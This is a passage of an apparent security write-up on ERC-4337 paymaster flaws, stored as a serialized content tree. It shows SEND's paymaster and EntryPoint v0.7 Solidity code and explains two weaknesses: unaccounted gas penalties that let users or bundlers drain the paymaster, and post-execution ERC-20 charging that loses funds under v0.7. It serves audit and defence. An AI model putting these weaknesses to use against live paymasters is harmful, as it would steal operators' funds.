baseFee;\n",{"type":25,"tag":271,"props":116721,"children":116722},{"class":13593,"line":22231},[116723,116728,116733,116738,116742,116746,116750],{"type":25,"tag":271,"props":116724,"children":116725},{"style":13625},[116726],{"type":30,"value":116727},"            SafeERC20.",{"type":25,"tag":271,"props":116729,"children":116730},{"style":13620},[116731],{"type":30,"value":116732},"safeTransferFrom",{"type":25,"tag":271,"props":116734,"children":116735},{"style":13625},[116736],{"type":30,"value":116737},"(token, userOp.sender, ",{"type":25,"tag":271,"props":116739,"children":116740},{"style":13609},[116741],{"type":30,"value":45753},{"type":25,"tag":271,"props":116743,"children":116744},{"style":13625},[116745],{"type":30,"value":394},{"type":25,"tag":271,"props":116747,"children":116748},{"style":14289},[116749],{"type":30,"value":30815},{"type":25,"tag":271,"props":116751,"children":116752},{"style":13625},[116753],{"type":30,"value":116754},"), tokenAmount);\n",{"type":25,"tag":271,"props":116756,"children":116757},{"class":13593,"line":22337},[116758,116763,116767,116772,116776,116781],{"type":25,"tag":271,"props":116759,"children":116760},{"style":13625},[116761],{"type":30,"value":116762},"            context ",{"type":25,"tag":271,"props":116764,"children":116765},{"style":13603},[116766],{"type":30,"value":1065},{"type":25,"tag":271,"props":116768,"children":116769},{"style":14289},[116770],{"type":30,"value":116771}," abi",{"type":25,"tag":271,"props":116773,"children":116774},{"style":13625},[116775],{"type":30,"value":1860},{"type":25,"tag":271,"props":116777,"children":116778},{"style":13620},[116779],{"type":30,"value":116780},"encode",{"type":25,"tag":271,"props":116782,"children":116783},{"style":13625},[116784],{"type":30,"value":116785},"(tokenAmount, userOp.sender);\n",{"type":25,"tag":271,"props":116787,"children":116788},{"class":13593,"line":36608},[116789,116794],{"type":25,"tag":271,"props":116790,"children":116791},{"style":13625},[116792],{"type":30,"value":116793},"            validationResult ",{"type":25,"tag":271,"props":116795,"children":116796},{"style":13603},[116797],{"type":30,"value":27814},{"type":25,"tag":271,"props":116799,"children":116800},{"class":13593,"line":36643},[116801,116806,116810,116814,116818,116823,116828,116832,116837,116841],{"type":25,"tag":271,"props":116802,"children":116803},{"style":13620},[116804],{"type":30,"value":116805},"                _packValidationData",{"type":25,"tag":271,"props":116807,"children":116808},{"style":13625},[116809],{"type":30,"value":394},{"type":25,"tag":271,"props":116811,"children":116812},{"style":14289},[116813],{"type":30,"value":21296},{"type":25,"tag":271,"props":116815,"children":116816},{"style":13625},[116817],{"type":30,"value":44},{"type":25,"tag":271,"props":116819,"children":116820},{"style":13609},[116821],{"type":30,"value":116822},"uint48",{"type":25,"tag":271,"props":116824,"children":116825},{"style":13625},[116826],{"type":30,"value":116827},"(cachedPriceTimestamp ",{"type":25,"tag":271,"props":116829,"children":116830},{"style":13603},[116831],{"type":30,"value":2074},{"type":25,"tag":271,"props":116833,"children":116834},{"style":13625},[116835],{"type":30,"value":116836}," tokenPaymasterConfig.priceMaxAge), ",{"type":25,"tag":271,"props":116838,"children":116839},{"style":16187},[116840],{"type":30,"value":953},{"type":25,"tag":271,"props":116842,"children":116843},{"style":13625},[116844],{"type":30,"value":13665},{"type":25,"tag":271,"props":116846,"children":116847},{"class":13593,"line":36651},[116848],{"type":25,"tag":271,"props":116849,"children":116850},{"style":13625},[116851],{"type":30,"value":16492},{"type":25,"tag":271,"props":116853,"children":116854},{"class":13593,"line":36659},[116855],{"type":25,"tag":271,"props":116856,"children":116857},{"style":13625},[116858],{"type":30,"value":16501},{"type":25,"tag":271,"props":116860,"children":116861},{"class":13593,"line":36668},[116862],{"type":25,"tag":271,"props":116863,"children":116864},{"style":13625},[116865],{"type":30,"value":23442},{"type":25,"tag":271,"props":116867,"children":116868},{"class":13593,"line":36710},[116869,116873,116878,116882,116887,116891,116895,116899,116903,116907,116911,116916,116920,116924,116929],{"type":25,"tag":271,"props":116870,"children":116871},{"style":14289},[116872],{"type":30,"value":102943},{"type":25,"tag":271,"props":116874,"children":116875},{"style":13620},[116876],{"type":30,"value":116877}," _postOp",{"type":25,"tag":271,"props":116879,"children":116880},{"style":13625},[116881],{"type":30,"value":394},{"type":25,"tag":271,"props":116883,"children":116884},{"style":14289},[116885],{"type":30,"value":116886},"PostOpMode",{"type":25,"tag":271,"props":116888,"children":116889},{"style":13625},[116890],{"type":30,"value":44},{"type":25,"tag":271,"props":116892,"children":116893},{"style":13609},[116894],{"type":30,"value":96941},{"type":25,"tag":271,"props":116896,"children":116897},{"style":14289},[116898],{"type":30,"value":116106},{"type":25,"tag":271,"props":116900,"children":116901},{"style":13598},[116902],{"type":30,"value":89456},{"type":25,"tag":271,"props":116904,"children":116905},{"style":13625},[116906],{"type":30,"value":44},{"type":25,"tag":271,"props":116908,"children":116909},{"style":13609},[116910],{"type":30,"value":59283},{"type":25,"tag":271,"props":116912,"children":116913},{"style":13598},[116914],{"type":30,"value":116915}," actualGasCost",{"type":25,"tag":271,"props":116917,"children":116918},{"style":13625},[116919],{"type":30,"value":44},{"type":25,"tag":271,"props":116921,"children":116922},{"style":13609},[116923],{"type":30,"value":59283},{"type":25,"tag":271,"props":116925,"children":116926},{"style":13598},[116927],{"type":30,"value":116928}," actualUserOpFeePerGas",{"type":25,"tag":271,"props":116930,"children":116931},{"style":13625},[116932],{"type":30,"value":16299},{"type":25,"tag":271,"props":116934,"children":116935},{"class":13593,"line":36743},[116936],{"type":25,"tag":271,"props":116937,"children":116938},{"style":14289},[116939],{"type":30,"value":116145},{"type":25,"tag":271,"props":116941,"children":116942},{"class":13593,"line":36751},[116943],{"type":25,"tag":271,"props":116944,"children":116945},{"style":14289},[116946],{"type":30,"value":116153},{"type":25,"tag":271,"props":116948,"children":116949},{"class":13593,"line":36759},[116950],{"type":25,"tag":271,"props":116951,"children":116952},{"style":13625},[116953],{"type":30,"value":42299},{"type":25,"tag":271,"props":116955,"children":116956},{"class":13593,"line":36768},[116957,116961],{"type":25,"tag":271,"props":116958,"children":116959},{"style":16171},[116960],{"type":30,"value":116210},{"type":25,"tag":271,"props":116962,"children":116963},{"style":13625},[116964],{"type":30,"value":16431},{"type":25,"tag":271,"props":116966,"children":116967},{"class":13593,"line":36844},[116968,116972,116976,116980],{"type":25,"tag":271,"props":116969,"children":116970},{"style":13609},[116971],{"type":30,"value":116222},{"type":25,"tag":271,"props":116973,"children":116974},{"style":13625},[116975],{"type":30,"value":116227},{"type":25,"tag":271,"props":116977,"children":116978},{"style":13603},[116979],{"type":30,"value":1065},{"type":25,"tag":271,"props":116981,"children":116982},{"style":13625},[116983],{"type":30,"value":116236},{"type":25,"tag":271,"props":116985,"children":116986},{"class":13593,"line":36877},[116987,116991,116995,116999],{"type":25,"tag":271,"props":116988,"children":116989},{"style":13609},[116990],{"type":30,"value":116222},{"type":25,"tag":271,"props":116992,"children":116993},{"style":13625},[116994],{"type":30,"value":116248},{"type":25,"tag":271,"props":116996,"children":116997},{"style":13603},[116998],{"type":30,"value":1065},{"type":25,"tag":271,"props":117000,"children":117001},{"style":13625},[117002],{"type":30,"value":116257},{"type":25,"tag":271,"props":117004,"children":117005},{"class":13593,"line":36885},[117006,117011,117015,117020,117024,117029,117033,117037,117041,117046,117051,117055,117059,117063],{"type":25,"tag":271,"props":117007,"children":117008},{"style":13625},[117009],{"type":30,"value":117010},"            (",{"type":25,"tag":271,"props":117012,"children":117013},{"style":13609},[117014],{"type":30,"value":59283},{"type":25,"tag":271,"props":117016,"children":117017},{"style":13625},[117018],{"type":30,"value":117019}," preCharge, ",{"type":25,"tag":271,"props":117021,"children":117022},{"style":13609},[117023],{"type":30,"value":45753},{"type":25,"tag":271,"props":117025,"children":117026},{"style":13625},[117027],{"type":30,"value":117028}," userOpSender) ",{"type":25,"tag":271,"props":117030,"children":117031},{"style":13603},[117032],{"type":30,"value":1065},{"type":25,"tag":271,"props":117034,"children":117035},{"style":14289},[117036],{"type":30,"value":116771},{"type":25,"tag":271,"props":117038,"children":117039},{"style":13625},[117040],{"type":30,"value":1860},{"type":25,"tag":271,"props":117042,"children":117043},{"style":13620},[117044],{"type":30,"value":117045},"decode",{"type":25,"tag":271,"props":117047,"children":117048},{"style":13625},[117049],{"type":30,"value":117050},"(context, (",{"type":25,"tag":271,"props":117052,"children":117053},{"style":13609},[117054],{"type":30,"value":59283},{"type":25,"tag":271,"props":117056,"children":117057},{"style":13625},[117058],{"type":30,"value":44},{"type":25,"tag":271,"props":117060,"children":117061},{"style":13609},[117062],{"type":30,"value":45753},{"type":25,"tag":271,"props":117064,"children":117065},{"style":13625},[117066],{"type":30,"value":20346},{"type":25,"tag":271,"props":117068,"children":117069},{"class":13593,"line":36893},[117070,117075,117080,117085],{"type":25,"tag":271,"props":117071,"children":117072},{"style":13625},[117073],{"type":30,"value":117074},"            preCharge ",{"type":25,"tag":271,"props":117076,"children":117077},{"style":13603},[117078],{"type":30,"value":117079},"-=",{"type":25,"tag":271,"props":117081,"children":117082},{"style":13625},[117083],{"type":30,"value":117084}," baseFee; ",{"type":25,"tag":271,"props":117086,"children":117087},{"style":14385},[117088],{"type":30,"value":117089},"// don't refund the base fee\n",{"type":25,"tag":271,"props":117091,"children":117092},{"class":13593,"line":36930},[117093,117097,117102,117106,117111,117115,117119],{"type":25,"tag":271,"props":117094,"children":117095},{"style":13609},[117096],{"type":30,"value":116222},{"type":25,"tag":271,"props":117098,"children":117099},{"style":13625},[117100],{"type":30,"value":117101}," _cachedPrice ",{"type":25,"tag":271,"props":117103,"children":117104},{"style":13603},[117105],{"type":30,"value":1065},{"type":25,"tag":271,"props":117107,"children":117108},{"style":13620},[117109],{"type":30,"value":117110}," updateCachedPrice",{"type":25,"tag":271,"props":117112,"children":117113},{"style":13625},[117114],{"type":30,"value":394},{"type":25,"tag":271,"props":117116,"children":117117},{"style":14289},[117118],{"type":30,"value":21296},{"type":25,"tag":271,"props":117120,"children":117121},{"style":13625},[117122],{"type":30,"value":13665},{"type":25,"tag":271,"props":117124,"children":117125},{"class":13593,"line":36943},[117126,117130,117134],{"type":25,"tag":271,"props":117127,"children":117128},{"style":14385},[117129],{"type":30,"value":116474},{"type":25,"tag":271,"props":117131,"children":117132},{"style":14289},[117133],{"type":30,"value":79874},{"type":25,"tag":271,"props":117135,"children":117136},{"style":14385},[117137],{"type":30,"value":116483},{"type":25,"tag":271,"props":117139,"children":117140},{"class":13593,"line":36956},[117141,117145,117149,117153,117157,117161,117165,117169],{"type":25,"tag":271,"props":117142,"children":117143},{"style":13609},[117144],{"type":30,"value":116222},{"type":25,"tag":271,"props":117146,"children":117147},{"style":13625},[117148],{"type":30,"value":116495},{"type":25,"tag":271,"props":117150,"children":117151},{"style":13603},[117152],{"type":30,"value":1065},{"type":25,"tag":271,"props":117154,"children":117155},{"style":13625},[117156],{"type":30,"value":117101},{"type":25,"tag":271,"props":117158,"children":117159},{"style":13603},[117160],{"type":30,"value":17702},{"type":25,"tag":271,"props":117162,"children":117163},{"style":13625},[117164],{"type":30,"value":116513},{"type":25,"tag":271,"props":117166,"children":117167},{"style":13603},[117168],{"type":30,"value":7621},{"type":25,"tag":271,"props":117170,"children":117171},{"style":13625},[117172],{"type":30,"value":116522},{"type":25,"tag":271,"props":117174,"children":117175},{"class":13593,"line":36969},[117176],{"type":25,"tag":271,"props":117177,"children":117178},{"style":14385},[117179],{"type":30,"value":117180},"            // Refund tokens based on actual gas cost\n",{"type":25,"tag":271,"props":117182,"children":117183},{"class":13593,"line":37023},[117184,117188,117193,117197,117202,117206,117211,117215],{"type":25,"tag":271,"props":117185,"children":117186},{"style":13609},[117187],{"type":30,"value":116222},{"type":25,"tag":271,"props":117189,"children":117190},{"style":13625},[117191],{"type":30,"value":117192}," actualChargeNative ",{"type":25,"tag":271,"props":117194,"children":117195},{"style":13603},[117196],{"type":30,"value":1065},{"type":25,"tag":271,"props":117198,"children":117199},{"style":13625},[117200],{"type":30,"value":117201}," actualGasCost ",{"type":25,"tag":271,"props":117203,"children":117204},{"style":13603},[117205],{"type":30,"value":2074},{"type":25,"tag":271,"props":117207,"children":117208},{"style":13625},[117209],{"type":30,"value":117210}," tokenPaymasterConfig.refundPostopCost ",{"type":25,"tag":271,"props":117212,"children":117213},{"style":13603},[117214],{"type":30,"value":17702},{"type":25,"tag":271,"props":117216,"children":117217},{"style":13625},[117218],{"type":30,"value":117219}," actualUserOpFeePerGas;\n",{"type":25,"tag":271,"props":117221,"children":117222},{"class":13593,"line":37032},[117223,117227,117232,117236,117240],{"type":25,"tag":271,"props":117224,"children":117225},{"style":13609},[117226],{"type":30,"value":116222},{"type":25,"tag":271,"props":117228,"children":117229},{"style":13625},[117230],{"type":30,"value":117231}," actualTokenNeeded ",{"type":25,"tag":271,"props":117233,"children":117234},{"style":13603},[117235],{"type":30,"value":1065},{"type":25,"tag":271,"props":117237,"children":117238},{"style":13620},[117239],{"type":30,"value":116697},{"type":25,"tag":271,"props":117241,"children":117242},{"style":13625},[117243],{"type":30,"value":117244},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":25,"tag":271,"props":117246,"children":117247},{"class":13593,"line":45393},[117248,117252,117257,117261],{"type":25,"tag":271,"props":117249,"children":117250},{"style":16171},[117251],{"type":30,"value":71916},{"type":25,"tag":271,"props":117253,"children":117254},{"style":13625},[117255],{"type":30,"value":117256}," (preCharge ",{"type":25,"tag":271,"props":117258,"children":117259},{"style":13603},[117260],{"type":30,"value":23586},{"type":25,"tag":271,"props":117262,"children":117263},{"style":13625},[117264],{"type":30,"value":117265}," actualTokenNeeded) {\n",{"type":25,"tag":271,"props":117267,"children":117268},{"class":13593,"line":45414},[117269],{"type":25,"tag":271,"props":117270,"children":117271},{"style":14385},[117272],{"type":30,"value":117273},"                // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":25,"tag":271,"props":117275,"children":117276},{"class":13593,"line":94064},[117277,117282,117287,117292,117296],{"type":25,"tag":271,"props":117278,"children":117279},{"style":13625},[117280],{"type":30,"value":117281},"                SafeERC20.",{"type":25,"tag":271,"props":117283,"children":117284},{"style":13620},[117285],{"type":30,"value":117286},"safeTransfer",{"type":25,"tag":271,"props":117288,"children":117289},{"style":13625},[117290],{"type":30,"value":117291},"(token, userOpSender, preCharge ",{"type":25,"tag":271,"props":117293,"children":117294},{"style":13603},[117295],{"type":30,"value":17459},{"type":25,"tag":271,"props":117297,"children":117298},{"style":13625},[117299],{"type":30,"value":117300}," actualTokenNeeded);\n",{"type":25,"tag":271,"props":117302,"children":117303},{"class":13593,"line":94077},[117304,117308,117312,117316,117320,117324],{"type":25,"tag":271,"props":117305,"children":117306},{"style":13625},[117307],{"type":30,"value":83708},{"type":25,"tag":271,"props":117309,"children":117310},{"style":16171},[117311],{"type":30,"value":16458},{"type":25,"tag":271,"props":117313,"children":117314},{"style":16171},[117315],{"type":30,"value":28910},{"type":25,"tag":271,"props":117317,"children":117318},{"style":13625},[117319],{"type":30,"value":117256},{"type":25,"tag":271,"props":117321,"children":117322},{"style":13603},[117323],{"type":30,"value":14307},{"type":25,"tag":271,"props":117325,"children":117326},{"style":13625},[117327],{"type":30,"value":117265},{"type":25,"tag":271,"props":117329,"children":117330},{"class":13593,"line":94085},[117331],{"type":25,"tag":271,"props":117332,"children":117333},{"style":14385},[117334],{"type":30,"value":117335},"                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":25,"tag":271,"props":117337,"children":117338},{"class":13593,"line":94093},[117339],{"type":25,"tag":271,"props":117340,"children":117341},{"style":14385},[117342],{"type":30,"value":117343},"                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":25,"tag":271,"props":117345,"children":117346},{"class":13593,"line":94101},[117347,117351,117355,117360,117364,117368,117372,117377,117381],{"type":25,"tag":271,"props":117348,"children":117349},{"style":13625},[117350],{"type":30,"value":117281},{"type":25,"tag":271,"props":117352,"children":117353},{"style":13620},[117354],{"type":30,"value":116732},{"type":25,"tag":271,"props":117356,"children":117357},{"style":13625},[117358],{"type":30,"value":117359},"(token, userOpSender, ",{"type":25,"tag":271,"props":117361,"children":117362},{"style":13609},[117363],{"type":30,"value":45753},{"type":25,"tag":271,"props":117365,"children":117366},{"style":13625},[117367],{"type":30,"value":394},{"type":25,"tag":271,"props":117369,"children":117370},{"style":14289},[117371],{"type":30,"value":30815},{"type":25,"tag":271,"props":117373,"children":117374},{"style":13625},[117375],{"type":30,"value":117376},"), actualTokenNeeded ",{"type":25,"tag":271,"props":117378,"children":117379},{"style":13603},[117380],{"type":30,"value":17459},{"type":25,"tag":271,"props":117382,"children":117383},{"style":13625},[117384],{"type":30,"value":117385}," preCharge);\n",{"type":25,"tag":271,"props":117387,"children":117388},{"class":13593,"line":94141},[117389],{"type":25,"tag":271,"props":117390,"children":117391},{"style":13625},[117392],{"type":30,"value":72000},{"type":25,"tag":271,"props":117394,"children":117395},{"class":13593,"line":94149},[117396],{"type":25,"tag":271,"props":117397,"children":117398},{"emptyLinePlaceholder":18},[117399],{"type":30,"value":16829},{"type":25,"tag":271,"props":117401,"children":117402},{"class":13593,"line":101336},[117403,117407,117412,117416,117420],{"type":25,"tag":271,"props":117404,"children":117405},{"style":16171},[117406],{"type":30,"value":71916},{"type":25,"tag":271,"props":117408,"children":117409},{"style":13625},[117410],{"type":30,"value":117411}," (baseFee ",{"type":25,"tag":271,"props":117413,"children":117414},{"style":13603},[117415],{"type":30,"value":23586},{"type":25,"tag":271,"props":117417,"children":117418},{"style":16187},[117419],{"type":30,"value":16190},{"type":25,"tag":271,"props":117421,"children":117422},{"style":13625},[117423],{"type":30,"value":27925},{"type":25,"tag":271,"props":117425,"children":117426},{"class":13593,"line":101344},[117427,117431,117435],{"type":25,"tag":271,"props":117428,"children":117429},{"style":13625},[117430],{"type":30,"value":117281},{"type":25,"tag":271,"props":117432,"children":117433},{"style":13620},[117434],{"type":30,"value":117286},{"type":25,"tag":271,"props":117436,"children":117437},{"style":13625},[117438],{"type":30,"value":117439},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":25,"tag":271,"props":117441,"children":117442},{"class":13593,"line":114671},[117443],{"type":25,"tag":271,"props":117444,"children":117445},{"style":13625},[117446],{"type":30,"value":72000},{"type":25,"tag":271,"props":117448,"children":117449},{"class":13593,"line":114679},[117450],{"type":25,"tag":271,"props":117451,"children":117452},{"emptyLinePlaceholder":18},[117453],{"type":30,"value":16829},{"type":25,"tag":271,"props":117455,"children":117456},{"class":13593,"line":114687},[117457,117462,117467],{"type":25,"tag":271,"props":117458,"children":117459},{"style":16171},[117460],{"type":30,"value":117461},"            emit",{"type":25,"tag":271,"props":117463,"children":117464},{"style":13620},[117465],{"type":30,"value":117466}," UserOperationSponsored",{"type":25,"tag":271,"props":117468,"children":117469},{"style":13625},[117470],{"type":30,"value":117471},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":25,"tag":271,"props":117473,"children":117474},{"class":13593,"line":114695},[117475,117480],{"type":25,"tag":271,"props":117476,"children":117477},{"style":13620},[117478],{"type":30,"value":117479},"            refillEntryPointDeposit",{"type":25,"tag":271,"props":117481,"children":117482},{"style":13625},[117483],{"type":30,"value":117484},"(_cachedPrice);\n",{"type":25,"tag":271,"props":117486,"children":117487},{"class":13593,"line":114723},[117488],{"type":25,"tag":271,"props":117489,"children":117490},{"style":13625},[117491],{"type":30,"value":16492},{"type":25,"tag":271,"props":117493,"children":117495},{"class":13593,"line":117494},67,[117496],{"type":25,"tag":271,"props":117497,"children":117498},{"style":13625},[117499],{"type":30,"value":16501},{"type":25,"tag":271,"props":117501,"children":117503},{"class":13593,"line":117502},68,[117504],{"type":25,"tag":271,"props":117505,"children":117506},{"style":13625},[117507],{"type":30,"value":17058},{"type":25,"tag":26,"props":117509,"children":117510},{},[117511,117513,117519,117521,117526,117528,117534],{"type":30,"value":117512},"Looking at the code above, during ",{"type":25,"tag":264,"props":117514,"children":117516},{"className":117515},[],[117517],{"type":30,"value":117518},"validatePaymasterUserOp",{"type":30,"value":117520},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":25,"tag":264,"props":117522,"children":117524},{"className":117523},[],[117525],{"type":30,"value":115577},{"type":30,"value":117527}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":25,"tag":264,"props":117529,"children":117531},{"className":117530},[],[117532],{"type":30,"value":117533},"postOp",{"type":30,"value":117535},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":25,"tag":26,"props":117537,"children":117538},{},[117539,117541,117546,117548,117555],{"type":30,"value":117540},"However, there is a critical oversight: ",{"type":25,"tag":38,"props":117542,"children":117543},{},[117544],{"type":30,"value":117545},"the code does not account for gas penalties",{"type":30,"value":117547},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":25,"tag":83,"props":117549,"children":117552},{"href":117550,"rel":117551},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[9066],[117553],{"type":30,"value":117554},"penalties incurred",{"type":30,"value":117556}," from differences between the execution gas limit and actual execution gas.",{"type":25,"tag":26,"props":117558,"children":117559},{},[117560],{"type":30,"value":117561},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":25,"tag":26,"props":117563,"children":117564},{},[117565,117567,117572],{"type":30,"value":117566},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":25,"tag":264,"props":117568,"children":117570},{"className":117569},[],[117571],{"type":30,"value":115276},{"type":30,"value":117573}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":25,"tag":96,"props":117575,"children":117577},{"id":117576},"incorrect-erc-20-handling",[117578],{"type":25,"tag":38,"props":117579,"children":117580},{},[117581],{"type":30,"value":117582},"Incorrect ERC-20 Handling",{"type":25,"tag":26,"props":117584,"children":117585},{},[117586],{"type":30,"value":117587},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":25,"tag":26,"props":117589,"children":117590},{},[117591,117592,117597,117599,117604],{"type":30,"value":58412},{"type":25,"tag":264,"props":117593,"children":117595},{"className":117594},[],[117596],{"type":30,"value":115357},{"type":30,"value":117598}," flow above, we can see that paymasters have two key interaction points during a ",{"type":25,"tag":264,"props":117600,"children":117602},{"className":117601},[],[117603],{"type":30,"value":115276},{"type":30,"value":117605},"'s lifecycle:",{"type":25,"tag":661,"props":117607,"children":117608},{},[117609,117619],{"type":25,"tag":112,"props":117610,"children":117611},{},[117612,117614],{"type":30,"value":117613},"During validation via ",{"type":25,"tag":264,"props":117615,"children":117617},{"className":117616},[],[117618],{"type":30,"value":115464},{"type":25,"tag":112,"props":117620,"children":117621},{},[117622,117624],{"type":30,"value":117623},"After execution via ",{"type":25,"tag":264,"props":117625,"children":117627},{"className":117626},[],[117628],{"type":30,"value":115475},{"type":25,"tag":26,"props":117630,"children":117631},{},[117632],{"type":30,"value":117633},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":25,"tag":247,"props":117635,"children":117637},{"id":117636},"_1-pre-payment-with-refund-pattern",[117638],{"type":30,"value":117639},"1. Pre-Payment with Refund Pattern",{"type":25,"tag":26,"props":117641,"children":117642},{},[117643,117645,117650,117652,117657,117659,117665,117666,117672,117674,117679,117681,117685,117687,117692],{"type":30,"value":117644},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":25,"tag":264,"props":117646,"children":117648},{"className":117647},[],[117649],{"type":30,"value":115464},{"type":30,"value":117651},". After execution completes, ",{"type":25,"tag":264,"props":117653,"children":117655},{"className":117654},[],[117656],{"type":30,"value":115475},{"type":30,"value":117658}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":25,"tag":264,"props":117660,"children":117662},{"className":117661},[],[117663],{"type":30,"value":117664},"SEND",{"type":30,"value":12218},{"type":25,"tag":264,"props":117667,"children":117669},{"className":117668},[],[117670],{"type":30,"value":117671},"Circle",{"type":30,"value":117673}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":25,"tag":264,"props":117675,"children":117677},{"className":117676},[],[117678],{"type":30,"value":115305},{"type":30,"value":117680},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":25,"tag":38,"props":117682,"children":117683},{},[117684],{"type":30,"value":14473},{"type":30,"value":117686}," execution (specifically during ",{"type":25,"tag":264,"props":117688,"children":117690},{"className":117689},[],[117691],{"type":30,"value":117518},{"type":30,"value":13677},{"type":25,"tag":247,"props":117694,"children":117696},{"id":117695},"_2-post-execution-charging-pattern",[117697],{"type":30,"value":117698},"2. Post-Execution Charging Pattern",{"type":25,"tag":26,"props":117700,"children":117701},{},[117702,117704,117709,117711,117716,117718,117723,117725,117730],{"type":30,"value":117703},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":25,"tag":264,"props":117705,"children":117707},{"className":117706},[],[117708],{"type":30,"value":115464},{"type":30,"value":117710},", the actual token payment is calculated and collected in ",{"type":25,"tag":264,"props":117712,"children":117714},{"className":117713},[],[117715],{"type":30,"value":115475},{"type":30,"value":117717}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":25,"tag":264,"props":117719,"children":117721},{"className":117720},[],[117722],{"type":30,"value":115276},{"type":30,"value":117724},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":25,"tag":264,"props":117726,"children":117728},{"className":117727},[],[117729],{"type":30,"value":115577},{"type":30,"value":117731},". This means users could interact with the paymaster without any prior setup.",{"type":25,"tag":26,"props":117733,"children":117734},{},[117735,117737,117742,117744,117750,117752,117758,117760,117765],{"type":30,"value":117736},"This approach used to work in ",{"type":25,"tag":264,"props":117738,"children":117740},{"className":117739},[],[117741],{"type":30,"value":115357},{"type":30,"value":117743}," version ",{"type":25,"tag":264,"props":117745,"children":117747},{"className":117746},[],[117748],{"type":30,"value":117749},"v0.6",{"type":30,"value":117751},", but the pattern no longer works in ",{"type":25,"tag":264,"props":117753,"children":117755},{"className":117754},[],[117756],{"type":30,"value":117757},"v0.7",{"type":30,"value":117759},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":25,"tag":264,"props":117761,"children":117763},{"className":117762},[],[117764],{"type":30,"value":117757},{"type":30,"value":117766}," handles the execution phase:",{"type":25,"tag":7764,"props":117768,"children":117770},{"className":17606,"code":117769,"language":17605,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[117771],{"type":25,"tag":264,"props":117772,"children":117773},{"__ignoreMap":7},[117774,117790,117806,117826,117843,117850,117863,117887,117895,117908,117915,117922,117943,117982,118019,118031,118038,118074,118081,118102,118191,118220,118227,118240,118247,118267,118274,118295,118303,118311,118338,118366,118374,118417,118437,118450,118472,118488,118503,118510,118530,118538,118546,118554,118562,118570,118577,118584],{"type":25,"tag":271,"props":117775,"children":117776},{"class":13593,"line":13594},[117777,117781,117786],{"type":25,"tag":271,"props":117778,"children":117779},{"style":14289},[117780],{"type":30,"value":102943},{"type":25,"tag":271,"props":117782,"children":117783},{"style":13620},[117784],{"type":30,"value":117785}," _executeUserOp",{"type":25,"tag":271,"props":117787,"children":117788},{"style":13625},[117789],{"type":30,"value":16609},{"type":25,"tag":271,"props":117791,"children":117792},{"class":13593,"line":11641},[117793,117797,117802],{"type":25,"tag":271,"props":117794,"children":117795},{"style":13609},[117796],{"type":30,"value":103121},{"type":25,"tag":271,"props":117798,"children":117799},{"style":13598},[117800],{"type":30,"value":117801}," 